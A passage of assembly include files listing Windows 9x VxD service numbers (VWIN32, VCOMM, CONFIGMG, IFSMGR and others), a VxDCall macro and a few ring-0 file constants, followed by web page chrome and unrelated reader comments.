VWIN32_CopyMem equ 0002A0005h
VWIN32_NpxException equ 0002A0006h
VWIN32_EmulateNpx equ 0002A0007h
VWIN32_CheckDelayedNpxTrap equ 0002A0008h
VWIN32_EnterCrstR0 equ 0002A0009h
VWIN32_LeaveCrstR0 equ 0002A000Ah
VWIN32_FaultPopup equ 0002A000Bh
VWIN32_GetContextHandle equ 0002A000Ch
VWIN32_GetCurrentProcessHandle equ 0002A000Dh
VWIN32_SetWin32Event equ 0002A000Eh
VWIN32_PulseWin32Event equ 0002A000Fh
VWIN32_ResetWin32Event equ 0002A0010h
VWIN32_WaitSingleObject equ 0002A0011h
VWIN32_WaitMultipleObjects equ 0002A0012h
VWIN32_CreateRing0Thread equ 0002A0013h
VWIN32_CloseVxDHandle equ 0002A0014h
VWIN32_ActiveTimeBiasSet equ 0002A0015h
VWIN32_GetCurrentDirectory equ 0002A0016h
VWIN32_BlueScreenPopup equ 0002A0017h
VWIN32_TerminateApp equ 0002A0018h
VWIN32_QueueKernelAPC equ 0002A0019h
VWIN32_SysErrorBox equ 0002A001Ah
VWIN32_IsClientWin32 equ 0002A001Bh
VWIN32_IFSRIPWhenLev2Taken equ 0002A001Ch
VWIN32_InitWin32Event equ 0002A001Dh
VWIN32_InitWin32Mutex equ 0002A001Eh
VWIN32_ReleaseWin32Mutex equ 0002A001Fh
VWIN32_BlockThreadEx equ 0002A0020h
VWIN32_GetProcessHandle equ 0002A0021h
VWIN32_InitWin32Semaphore equ 0002A0022h
VWIN32_SignalWin32Sem equ 0002A0023h
VWIN32_QueueUserApcEx equ 0002A0024h
VWIN32_OpenVxDHandle equ 0002A0025h
VWIN32_CloseWin32Handle equ 0002A0026h
VWIN32_AllocExternalHandle equ 0002A0027h
VWIN32_UseExternalHandle equ 0002A0028h
VWIN32_UnuseExternalHandle equ 0002A0029h
VWIN32_KeInitializeTimer equ 0002A002Ah
VWIN32_KeSetTimer equ 0002A002Bh
VWIN32_KeCancelTimer equ 0002A002Ch
VWIN32_KeReadStateTimer equ 0002A002Dh
VWIN32_ReferenceObject equ 0002A002Eh
VWIN32_GetExternalHandle equ 0002A002Fh
VWIN32_ConvertNtTimeout equ 0002A0030h
VWIN32_SetWin32EventBoostPriority equ 0002A0031h
VWIN32_GetRing3Flat32Selectors equ 0002A0032h
VWIN32_GetCurThreadCondition equ 0002A0033h

; [002B.VCOMM]
VCOMM_Get_Version equ 0002B0000h
VCOMM_Register_Port_Driver equ 0002B0001h
VCOMM_Acquire_Port equ 0002B0002h
VCOMM_Release_Port equ 0002B0003h
VCOMM_OpenComm equ 0002B0004h
VCOMM_SetCommState equ 0002B0005h
VCOMM_GetCommState equ 0002B0006h
VCOMM_SetupComm equ 0002B0007h
VCOMM_TransmitCommChar equ 0002B0008h
VCOMM_CloseComm equ 0002B0009h
VCOMM_GetCommQueueStatus equ 0002B000Ah
VCOMM_ClearCommError equ 0002B000Bh
VCOMM_GetModemStatus equ 0002B000Ch
VCOMM_GetCommProperties equ 0002B000Dh
VCOMM_EscapeCommFunction equ 0002B000Eh
VCOMM_PurgeComm equ 0002B000Fh
VCOMM_SetCommEventMask equ 0002B0010h
VCOMM_GetCommEventMask equ 0002B0011h
VCOMM_WriteComm equ 0002B0012h
VCOMM_ReadComm equ 0002B0013h
VCOMM_EnableCommNotification equ 0002B0014h
VCOMM_GetLastError equ 0002B0015h
VCOMM_Steal_Port equ 0002B0016h
VCOMM_SetReadCallBack equ 0002B0017h
VCOMM_SetWriteCallBack equ 0002B0018h
VCOMM_Add_Port equ 0002B0019h
VCOMM_GetSetCommTimeouts equ 0002B001Ah
VCOMM_SetWriteRequest equ 0002B001Bh
VCOMM_SetReadRequest equ 0002B001Ch
VCOMM_Dequeue_Request equ 0002B001Dh
VCOMM_Enumerate_DevNodes equ 0002B001Eh
VCOMM_Map_Win32DCB_To_Ring0 equ 0002B001Fh
VCOMM_Map_Ring0DCB_To_Win32 equ 0002B0020h
VCOMM_Get_Contention_Handler equ 0002B0021h
VCOMM_Map_Name_To_Resource equ 0002B0022h

; [002C.SPOOLER]

; [0031.NETBEUI]

; [0032.VSERVER]

; [0033.CONFIGMG]
CONFIGMG_Get_Version equ 000330000h
CONFIGMG_Initialize equ 000330001h
CONFIGMG_Locate_DevNode equ 000330002h
CONFIGMG_Get_Parent equ 000330003h
CONFIGMG_Get_Child equ 000330004h
CONFIGMG_Get_Sibling equ 000330005h
CONFIGMG_Get_Device_ID_Size equ 000330006h
CONFIGMG_Get_Device_ID equ 000330007h
CONFIGMG_Get_Depth equ 000330008h
CONFIGMG_Get_Private_DWord equ 000330009h
CONFIGMG_Set_Private_DWord equ 00033000Ah
CONFIGMG_Create_DevNode equ 00033000Bh
CONFIGMG_Query_Remove_SubTree equ 00033000Ch
CONFIGMG_Remove_SubTree equ 00033000Dh
CONFIGMG_Register_Device_Driver equ 00033000Eh
CONFIGMG_Register_Enumerator equ 00033000Fh
CONFIGMG_Register_Arbitrator equ 000330010h
CONFIGMG_Deregister_Arbitrator equ 000330011h
CONFIGMG_Query_Arbitrator_Free_Size equ 000330012h
CONFIGMG_Query_Arbitrator_Free_Data equ 000330013h
CONFIGMG_Sort_NodeList equ 000330014h
CONFIGMG_Yield equ 000330015h
CONFIGMG_Lock equ 000330016h
CONFIGMG_Unlock equ 000330017h
CONFIGMG_Add_Empty_Log_Conf equ 000330018h
CONFIGMG_Free_Log_Conf equ 000330019h
CONFIGMG_Get_First_Log_Conf equ 00033001Ah
CONFIGMG_Get_Next_Log_Conf equ 00033001Bh
CONFIGMG_Add_Res_Des equ 00033001Ch
CONFIGMG_Modify_Res_Des equ 00033001Dh
CONFIGMG_Free_Res_Des equ 00033001Eh
CONFIGMG_Get_Next_Res_Des equ 00033001Fh
CONFIGMG_Get_Performance_Info equ 000330020h
CONFIGMG_Get_Res_Des_Data_Size equ 000330021h
CONFIGMG_Get_Res_Des_Data equ 000330022h
CONFIGMG_Process_Events_Now equ 000330023h
CONFIGMG_Create_Range_List equ 000330024h
CONFIGMG_Add_Range equ 000330025h
CONFIGMG_Delete_Range equ 000330026h
CONFIGMG_Test_Range_Available equ 000330027h
CONFIGMG_Dup_Range_List equ 000330028h
CONFIGMG_Free_Range_List equ 000330029h
CONFIGMG_Invert_Range_List equ 00033002Ah
CONFIGMG_Intersect_Range_List equ 00033002Bh
CONFIGMG_First_Range equ 00033002Ch
CONFIGMG_Next_Range equ 00033002Dh
CONFIGMG_Dump_Range_List equ 00033002Eh
CONFIGMG_Load_DLVxDs equ 00033002Fh
CONFIGMG_Get_DDBs equ 000330030h
CONFIGMG_Get_CRC_CheckSum equ 000330031h
CONFIGMG_Register_DevLoader equ 000330032h
CONFIGMG_Reenumerate_DevNode equ 000330033h
CONFIGMG_Setup_DevNode equ 000330034h
CONFIGMG_Reset_Children_Marks equ 000330035h
CONFIGMG_Get_DevNode_Status equ 000330036h
CONFIGMG_Remove_Unmarked_Children equ 000330037h
CONFIGMG_ISAPNP_To_CM equ 000330038h
CONFIGMG_CallBack_Device_Driver equ 000330039h
CONFIGMG_CallBack_Enumerator equ 00033003Ah
CONFIGMG_Get_Alloc_Config equ 00033003Bh
CONFIGMG_Get_DevNode_Key_Size equ 00033003Ch
CONFIGMG_Get_DevNode_Key equ 00033003Dh
CONFIGMG_Read_Registry_Value equ 00033003Eh
CONFIGMG_Write_Registry_Value equ 00033003Fh
CONFIGMG_Disable_DevNode equ 000330040h
CONFIGMG_Enable_DevNode equ 000330041h
CONFIGMG_Move_DevNode equ 000330042h
CONFIGMG_Set_Bus_Info equ 000330043h
CONFIGMG_Get_Bus_Info equ 000330044h
CONFIGMG_Set_HW_Prof equ 000330045h
CONFIGMG_Recompute_HW_Prof equ 000330046h
CONFIGMG_Query_Change_HW_Prof equ 000330047h
CONFIGMG_Get_Device_Driver_Private_DWord equ 000330048h
CONFIGMG_Set_Device_Driver_Private_DWord equ 000330049h
CONFIGMG_Get_HW_Prof_Flags equ 00033004Ah
CONFIGMG_Set_HW_Prof_Flags equ 00033004Bh
CONFIGMG_Read_Registry_Log_Confs equ 00033004Ch
CONFIGMG_Run_Detection equ 00033004Dh
CONFIGMG_Call_At_Appy_Time equ 00033004Eh
CONFIGMG_Fail_Change_HW_Prof equ 00033004Fh
CONFIGMG_Set_Private_Problem equ 000330050h
CONFIGMG_Debug_DevNode equ 000330051h
CONFIGMG_Get_Hardware_Profile_Info equ 000330052h
CONFIGMG_Register_Enumerator_Function equ 000330053h
CONFIGMG_Call_Enumerator_Function equ 000330054h
CONFIGMG_Add_ID equ 000330055h
CONFIGMG_Find_Range equ 000330056h
CONFIGMG_Get_Global_State equ 000330057h
CONFIGMG_Broadcast_Device_Change_Message equ 000330058h
CONFIGMG_Call_DevNode_Handler equ 000330059h
CONFIGMG_Remove_Reinsert_All equ 00033005Ah
CONFIGMG_Change_DevNode_Status equ 00033005Bh
CONFIGMG_Reprocess_DevNode equ 00033005Ch
CONFIGMG_Assert_Structure equ 00033005Dh
CONFIGMG_Discard_Boot_Log_Conf equ 00033005Eh
CONFIGMG_Set_Dependent_DevNode equ 00033005Fh
CONFIGMG_Get_Dependent_DevNode equ 000330060h
CONFIGMG_Refilter_DevNode equ 000330061h
CONFIGMG_Merge_Range_List equ 000330062h
CONFIGMG_Substract_Range_List equ 000330063h
CONFIGMG_Set_DevNode_PowerState equ 000330064h
CONFIGMG_Get_DevNode_PowerState equ 000330065h
CONFIGMG_Set_DevNode_PowerCapabilities equ 000330066h
CONFIGMG_Get_DevNode_PowerCapabilities equ 000330067h
CONFIGMG_Read_Range_List equ 000330068h
CONFIGMG_Write_Range_List equ 000330069h
CONFIGMG_Get_Log_Conf_Priority equ 00033006Ah
CONFIGMG_Support_Share_Irq equ 00033006Bh
CONFIGMG_Get_Parent_Structure equ 00033006Ch
CONFIGMG_Register_DevNode_For_Idle_Detection equ 00033006Dh
CONFIGMG_CM_To_ISAPNP equ 00033006Eh
CONFIGMG_Get_DevNode_Handler equ 00033006Fh
CONFIGMG_Detect_Resource_Conflict equ 000330070h
CONFIGMG_Get_Device_Interface_List equ 000330071h
CONFIGMG_Get_Device_Interface_List_Size equ 000330072h
CONFIGMG_Get_Conflict_Info equ 000330073h
CONFIGMG_Add_Remove_DevNode_Property equ 000330074h
CONFIGMG_CallBack_At_Appy_Time equ 000330075h
CONFIGMG_Register_Device_Interface equ 000330076h
CONFIGMG_System_Device_Power_State_Mapping equ 000330077h
CONFIGMG_Get_Arbitrator_Info equ 000330078h
CONFIGMG_Waking_Up_From_DevNode equ 000330079h
CONFIGMG_Set_DevNode_Problem equ 00033007Ah
CONFIGMG_Get_Device_Interface_Alias equ 00033007Bh

; [0034.CM]
CM_GetVersion equ 000340000h
CM_GetConfig equ 000340001h
CM_LockConfig equ 000340002h
CM_UnlockConfig equ 000340003h
CM_CME_QueryResources equ 000340004h
CM_CME_AllocResources equ 000340005h
CM_CME_DeallocResources equ 000340006h

; [0036.VFBACKUP]
VFBACKUP_Get_Version equ 000360000h
VFBACKUP_Lock_NEC equ 000360001h
VFBACKUP_UnLock_NEC equ 000360002h
VFBACKUP_Register_NEC equ 000360003h
VFBACKUP_Register_VFD equ 000360004h
VFBACKUP_Lock_All_Ports equ 000360005h

; [0037.VMINI]
VMINI_GetVersion equ 000370000h
VMINI_Update equ 000370001h
VMINI_Status equ 000370002h
VMINI_DisplayError equ 000370003h
VMINI_SetTimeStamp equ 000370004h
VMINI_Siren equ 000370005h
VMINI_RegisterAccess equ 000370006h
VMINI_GetData equ 000370007h
VMINI_ShutDownItem equ 000370008h
VMINI_RegisterSK equ 000370009h

; [0038.VCOND]
VCOND_Get_Version equ 000380000h
VCOND_Launch_ConApp_Inherited equ 000380001h

; [003D.BIOS]

; [003E.WSOCK]
WSOCK_Get_Version equ 0003E0000h
WSOCK_Register equ 0003E0001h
WSOCK_Deregister equ 0003E0002h
WSOCK_SignalNotify equ 0003E0003h
WSOCK_SignalAllNotify equ 0003E0004h

; [0040.IFSMGR]
IFSMGR_Get_Version equ 000400000h
IFSMGR_RegisterMount equ 000400001h
IFSMGR_RegisterNet equ 000400002h
IFSMGR_RegisterMailSlot equ 000400003h
IFSMGR_Attach equ 000400004h
IFSMGR_Detach equ 000400005h
IFSMGR_Get_NetTime equ 000400006h
IFSMGR_Get_DOSTime equ 000400007h
IFSMGR_SetupConnection equ 000400008h
IFSMGR_DerefConnection equ 000400009h
IFSMGR_ServerDOSCall equ 00040000Ah
IFSMGR_CompleteAsync equ 00040000Bh
IFSMGR_RegisterHeap equ 00040000Ch
IFSMGR_GetHeap equ 00040000Dh
IFSMGR_RetHeap equ 00040000Eh
IFSMGR_CheckHeap equ 00040000Fh
IFSMGR_CheckHeapItem equ 000400010h
IFSMGR_FillHeapSpare equ 000400011h
IFSMGR_Block equ 000400012h
IFSMGR_Wakeup equ 000400013h
IFSMGR_Yield equ 000400014h
IFSMGR_SchedEvent equ 000400015h
IFSMGR_QueueEvent equ 000400016h
IFSMGR_KillEvent equ 000400017h
IFSMGR_FreeIOReq equ 000400018h
IFSMGR_MakeMailSlot equ 000400019h
IFSMGR_DeleteMailSlot equ 00040001Ah
IFSMGR_WriteMailSlot equ 00040001Bh
IFSMGR_PopUp equ 00040001Ch
IFSMGR_printf equ 00040001Dh
IFSMGR_AssertFailed equ 00040001Eh
IFSMGR_LogEntry equ 00040001Fh
IFSMGR_DebugMenu equ 000400020h
IFSMGR_DebugVars equ 000400021h
IFSMGR_GetDebugString equ 000400022h
IFSMGR_GetDebugHexNum equ 000400023h
IFSMGR_NetFunction equ 000400024h
IFSMGR_DoDelAllUses equ 000400025h
IFSMGR_SetErrString equ 000400026h
IFSMGR_GetErrString equ 000400027h
IFSMGR_SetReqHook equ 000400028h
IFSMGR_SetPathHook equ 000400029h
IFSMGR_UseAdd equ 00040002Ah
IFSMGR_UseDel equ 00040002Bh
IFSMGR_InitUseAdd equ 00040002Ch
IFSMGR_ChangeDir equ 00040002Dh
IFSMGR_DelAllUses equ 00040002Eh
IFSMGR_CDROM_Attach equ 00040002Fh
IFSMGR_CDROM_Detach equ 000400030h
IFSMGR_Win32DupHandle equ 000400031h
IFSMGR_Ring0_FileIO equ 000400032h
IFSMGR_Toggle_Extended_File_Handles equ 000400033h
IFSMGR_Get_Drive_Info equ 000400034h
IFSMGR_Ring0GetDriveInfo equ 000400035h
IFSMGR_BlockNoEvents equ 000400036h
IFSMGR_NetToDosTime equ 000400037h
IFSMGR_DosToNetTime equ 000400038h
IFSMGR_DosToWin32Time equ 000400039h
IFSMGR_Win32ToDosTime equ 00040003Ah
IFSMGR_NetToWin32Time equ 00040003Bh
IFSMGR_Win32ToNetTime equ 00040003Ch
IFSMGR_MetaMatch equ 00040003Dh
IFSMGR_TransMatch equ 00040003Eh
IFSMGR_CallProvider equ 00040003Fh
IFSMGR_UniToBCS equ 000400040h
IFSMGR_UniToBCSPath equ 000400041h
IFSMGR_BCSToUni equ 000400042h
IFSMGR_UniToUpper equ 000400043h
IFSMGR_UniCharToOEM equ 000400044h
IFSMGR_CreateBasis equ 000400045h
IFSMGR_MatchBasisName equ 000400046h
IFSMGR_AppendBasisTail equ 000400047h
IFSMGR_FcbToShort equ 000400048h
IFSMGR_ShortToFcb equ 000400049h
IFSMGR_ParsePath equ 00040004Ah
IFSMGR_Query_PhysLock equ 00040004Bh
IFSMGR_VolFlush equ 00040004Ch
IFSMGR_NotifyVolumeArrival equ 00040004Dh
IFSMGR_NotifyVolumeRemoval equ 00040004Eh
IFSMGR_QueryVolumeRemoval equ 00040004Fh
IFSMGR_FSDUnmountCFSD equ 000400050h
IFSMGR_GetConversionTablePtrs equ 000400051h
IFSMGR_CheckAccessConflict equ 000400052h
IFSMGR_LockFile equ 000400053h
IFSMGR_UnlockFile equ 000400054h
IFSMGR_RemoveLocks equ 000400055h
IFSMGR_CheckLocks equ 000400056h
IFSMGR_CountLocks equ 000400057h
IFSMGR_ReassignLockFileInst equ 000400058h
IFSMGR_UnassignLockList equ 000400059h
IFSMGR_MountChildVolume equ 00040005Ah
IFSMGR_UnmountChildVolume equ 00040005Bh
IFSMGR_SwapDrives equ 00040005Ch
IFSMGR_FSDMapFHtoIOREQ equ 00040005Dh
IFSMGR_FSDParsePath equ 00040005Eh
IFSMGR_FSDAttachSFT equ 00040005Fh
IFSMGR_GetTimeZoneBias equ 000400060h
IFSMGR_PNPEvent equ 000400061h
IFSMGR_RegisterCFSD equ 000400062h
IFSMGR_Win32MapExtendedHandleToSFT equ 000400063h
IFSMGR_DbgSetFileHandleLimit equ 000400064h
IFSMGR_Win32MapSFTToExtendedHandle equ 000400065h
IFSMGR_FSDGetCurrentDrive equ 000400066h
IFSMGR_InstallFileSystemApiHook equ 000400067h
IFSMGR_RemoveFileSystemApiHook equ 000400068h
IFSMGR_RunScheduledEvents equ 000400069h
IFSMGR_CheckDelResource equ 00040006Ah
IFSMGR_Win32GetVMCurdir equ 00040006Bh
IFSMGR_SetupFailedConnection equ 00040006Ch
IFSMGR_GetMappedErr equ 00040006Dh
IFSMGR_ShortToLossyFcb equ 00040006Eh
IFSMGR_GetLockState equ 00040006Fh
IFSMGR_BcsToBcs equ 000400070h
IFSMGR_SetLoopback equ 000400071h
IFSMGR_ClearLoopback equ 000400072h
IFSMGR_ParseOneElement equ 000400073h
IFSMGR_BcsToBcsUpper equ 000400074h

; [0041.VCDFSD]

; [0043.PCI]
PCI_Get_Version equ 000430000h
PCI_Read_Config equ 000430001h
PCI_Write_Config equ 000430002h

; [0048.PERF]
PERF_Get_Version equ 000480000h
PERF_Server_Register equ 000480001h
PERF_Server_Deregister equ 000480002h
PERF_Server_Add_Stat equ 000480003h
PERF_Server_Remove_Stat equ 000480004h

; [004A.MTRR]
MTRR_Get_Version equ 0004A0000h
MTRR_SetPhysicalCacheTypeRange equ 0004A0001h
MTRR_IsPatSupported equ 0004A0002h

; [004B.NTKERN]
NTKERN_Get_Version equ 0004B0000h
NTKERN_CreateFile equ 0004B0001h
NTKERN_Close equ 0004B0002h
NTKERN_ReadFile equ 0004B0003h
NTKERN_WriteFile equ 0004B0004h
NTKERN_DeviceIoControl equ 0004B0005h
NTKERN_GetWorkerThread equ 0004B0006h
NTKERN_LoadDriver equ 0004B0007h
NTKERN_QueueWorkItem equ 0004B0008h
NTKERN_PhysicalDeviceObjectToDevNode equ 0004B0009h
NTKERN_SetPhysicalCacheTypeRange equ 0004B000Ah
NTKERN_Win9XLoadDriver equ 0004B000Bh
NTKERN_CancelIoFile equ 0004B000Ch
NTKERN_GetVPICDHandleFromInterruptObj equ 0004B000Dh

; [004C.ACPI]
ACPI_Get_Version equ 0004C0000h
ACPI_SetSystemPowerState equ 0004C0001h
ACPI_SetTimingMode equ 0004C0002h
ACPI_RegisterOpRegionCookedHandler equ 0004C0003h
ACPI_Set_RTC equ 0004C0004h
ACPI_GetTimingMode equ 0004C0005h
ACPI_GetTaskFile equ 0004C0006h
ACPI_WalkNameSpace equ 0004C0007h
ACPI_GetObject equ 0004C0008h
ACPI_NameSpaceToDevNode equ 0004C0009h
ACPI_DevNodeToNameSpace equ 0004C000Ah
ACPI_RunControlMethod equ 0004C000Bh
ACPI_000C equ 0004C000Ch
ACPI_000D equ 0004C000Dh
ACPI_000E equ 0004C000Eh
ACPI_EvalPackageElement equ 0004C000Fh
ACPI_EvalPkgDataElement equ 0004C0010h
ACPI_FreeDataBuffs equ 0004C0011h
ACPI_0012 equ 0004C0012h
ACPI_0013 equ 0004C0013h
ACPI_GetNameSpaceObject equ 0004C0014h

; [004E.SMCLIB]
SMCLIB_Get_Version equ 0004E0000h
SMCLIB_SmartcardCreateLink equ 0004E0001h
SMCLIB_SmartcardDeleteLink equ 0004E0002h
SMCLIB_SmartcardDeviceControl equ 0004E0003h
SMCLIB_SmartcardExit equ 0004E0004h
SMCLIB_SmartcardInitialize equ 0004E0005h
SMCLIB_SmartcardLogError equ 0004E0006h
SMCLIB_SmartcardRawReply equ 0004E0007h
SMCLIB_SmartcardRawRequest equ 0004E0008h
SMCLIB_SmartcardT0Reply equ 0004E0009h
SMCLIB_SmartcardT0Request equ 0004E000Ah
SMCLIB_SmartcardT1Reply equ 0004E000Bh
SMCLIB_SmartcardT1Request equ 0004E000Ch
SMCLIB_SmartcardUpdateCardCapabilities equ 0004E000Dh
SMCLIB_SmartcardGetDebugLevel equ 0004E000Eh
SMCLIB_SmartcardSetDebugLevel equ 0004E000Fh
SMCLIB_MapNtStatusToWinError equ 0004E0010h
SMCLIB_Assert equ 0004E0011h
SMCLIB_VxD_CreateDevice equ 0004E0012h
SMCLIB_VxD_DeleteDevice equ 0004E0013h
SMCLIB_SmartcardCompleteCardTracking equ 0004E0014h
SMCLIB_SmartcardCompleteRequest equ 0004E0015h

; [011F.VFLATD]
VFLATD_Get_Version equ 0011F0000h
VFLATD_Unmap_Flat_Selector equ 0011F0001h

; [0449.VJOYD]
VJOYD_Register_Device_Driver equ 004490000h
VJOYD_GetPosEx_Service equ 004490001h
VJOYD_GetInitParams_Service equ 004490002h
VJOYD_Poll_Service equ 004490003h
VJOYD_Escape_Service equ 004490004h
VJOYD_CtrlMsg_Service equ 004490005h
VJOYD_SetGain_Service equ 004490006h
VJOYD_SendFFCommand_Service equ 004490007h
VJOYD_GetFFState_Service equ 004490008h
VJOYD_DownloadEffect_Service equ 004490009h
VJOYD_DestroyEffect_Service equ 00449000Ah
VJOYD_StartEffect_Service equ 00449000Bh
VJOYD_StopEffect_Service equ 00449000Ch
VJOYD_GetEffectStatus_Service equ 00449000Dh
VJOYD_DeviceUpdateNotify_Service equ 00449000Eh
VJOYD_JoystickActivity_Service equ 00449000Fh
VJOYD_OpenTypeKey_Service equ 004490010h
VJOYD_OpenConfigKey_Service equ 004490011h
VJOYD_NewGameportDevNode equ 004490012h

; [044A.MMDEVLDR]
MMDEVLDR_Register_Device_Driver equ 0044A0000h
MMDEVLDR_SetDevicePresence equ 0044A0001h
MMDEVLDR_SetEnvironmentString equ 0044A0002h
MMDEVLDR_GetEnvironmentString equ 0044A0003h
MMDEVLDR_RemoveEnvironmentString equ 0044A0004h
MMDEVLDR_AddEnvironmentString equ 0044A0005h

; [0480.VNETSUP]
VNETSUP_Get_Version equ 004800000h
VNETSUP_GetVars equ 004800001h
VNETSUP_RegisterTerm equ 004800002h
VNETSUP_SetInfo equ 004800003h
VNETSUP_ServerHook equ 004800004h
VNETSUP_PassEncrypt equ 004800005h
VNETSUP_PassEncryptNT equ 004800006h
VNETSUP_PassEncrypt2 equ 004800007h

; [0481.VREDIR]
VREDIR_Get_Version equ 004810000h
VREDIR_BcnSetWfWVersion equ 004810001h
VREDIR_BcnSetWfWBits equ 004810002h
VREDIR_BcnIncWfWCount equ 004810003h
VREDIR_BcnTriggerPulse equ 004810004h
VREDIR_BcnWfWBrowser equ 004810005h
VREDIR_BcnSetMaster equ 004810006h
VREDIR_SendMessage equ 004810007h
VREDIR_SetRemoteDebug equ 004810008h
VREDIR_ValidateUser equ 004810009h
VREDIR_ConnectServer equ 00481000Ah
VREDIR_DisconnectServer equ 00481000Bh
VREDIR_RemoteMailSlotWrite equ 00481000Ch
VREDIR_NetInfo equ 00481000Dh
VREDIR_BcnSetHook equ 00481000Eh
VREDIR_UserGetGroups equ 00481000Fh
VREDIR_SetIPXError equ 004810010h
VREDIR_NetGetDfsReferrals equ 004810011h
VREDIR_AddPathElement equ 004810012h
VREDIR_MakeResourceDfs equ 004810013h

; [0483.VSHARE]
VSHARE_Get_Version equ 004830000h

; [0486.VFAT]

; [0487.NWLINK]

; [0488.VTDI]
VTDI_Get_Version equ 004880000h
VTDI_Start_Timer equ 004880001h
VTDI_Stop_Timer equ 004880002h
VTDI_Schedule_Event equ 004880003h
VTDI_Cancel_Event equ 004880004h
VTDI_Block equ 004880005h
VTDI_Signal equ 004880006h
VTDI_Register equ 004880007h
VTDI_Get_Info equ 004880008h
VTDI_Unload equ 004880009h
VTDI_Initialize equ 00488000Ah
VTDI_Register_UnloadProc equ 00488000Bh
VTDI_Register_LoadProc equ 00488000Ch

; [0489.VIP]
VIP_VIP_Get_Version equ 004890000h
VIP_VIP_Get_Net_Info equ 004890001h
VIP_VIP_Register_Protocol equ 004890002h
VIP_VIP_Register_Driver equ 004890003h
VIP_VIP_Set_Addr equ 004890004h
VIP_VIP_ICMP_Echo equ 004890005h
VIP_VIP_Register_Addr_Change equ 004890006h
VIP_VIP_Set_DCHP_Interface equ 004890007h

; [048A.MSTCP]
MSTCP_Get_Version equ 0048A0000h

; [048B.VCACHE]
VCACHE_Get_Version equ 0048B0000h
VCACHE_Register equ 0048B0001h
VCACHE_GetSize equ 0048B0002h
VCACHE_CheckAvail equ 0048B0003h
VCACHE_FindBlock equ 0048B0004h
VCACHE_FreeBlock equ 0048B0005h
VCACHE_MakeMRU equ 0048B0006h
VCACHE_Hold equ 0048B0007h
VCACHE_Unhold equ 0048B0008h
VCACHE_Enum equ 0048B0009h
VCACHE_TestHandle equ 0048B000Ah
VCACHE_VerifySums equ 0048B000Bh
VCACHE_RecalcSums equ 0048B000Ch
VCACHE_TestHold equ 0048B000Dh
VCACHE_GetStats equ 0048B000Eh
VCACHE_Deregister equ 0048B000Fh
VCACHE_AdjustMinimum equ 0048B0010h
VCACHE_SwapBuffers equ 0048B0011h
VCACHE_RelinquishPage equ 0048B0012h
VCACHE_UseThisPage equ 0048B0013h
VCACHE_CreateLookupCache equ 0048B0014h
VCACHE_CloseLookupCache equ 0048B0015h
VCACHE_DeleteLookupCache equ 0048B0016h
VCACHE_Lookup equ 0048B0017h
VCACHE_UpdateLookup equ 0048B0018h

; [048E.NWREDIR]

; [0491.FILESEC]

; [0492.NWSERVER]

; [0496.NDIS2SUP]

; [0497.MSODISUP]

; [0498.SPLITTER]

; [0499.PPPMAC]

; [049A.VDHCP]

; [049D.LOGGER]

; [097C.PCCARD]
PCCARD_Get_Version equ 0097C0000h
PCCARD_Card_Services equ 0097C0001h
PCCARD_Access_CIS_Memory equ 0097C0002h

; --- End of Hiew.VMM --------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ

VxDCall macro Service
db 0CDh
db 020h
dd Service
endm

VMMCall macro Service
VxDCall VMM_&Service&
endm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ

PG_SYS equ 1

PAGEZEROINIT equ 00000001H
PAGEFIXED equ 00000008H
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ

R0_NO_CACHE equ 0100h

R0_READFILE_IN_CONTEXT equ 0D602h
R0_CLOSEFILE equ 0D700h

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

guest's profile picture
@guest
12 Nov 2024
It is very remarkable that the period of Atlantis’s destruction, which occurred due to earthquakes and cataclysms, coincides with what is co ...

guest's profile picture
@guest
12 Nov 2024
Plato learned the legend through his older cousin named Critias, who, in turn, had acquired information about the mythical lost continent fr ...

guest's profile picture
@guest
10 Nov 2024
الاسم : جابر حسين الناصح - السن :٤٢سنه - الموقف من التجنيد : ادي الخدمه - خبره عشرين سنه منهم عشر سنوات في كبرى الشركات بالسعوديه وعشر سنوات ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
2 Nov 2024
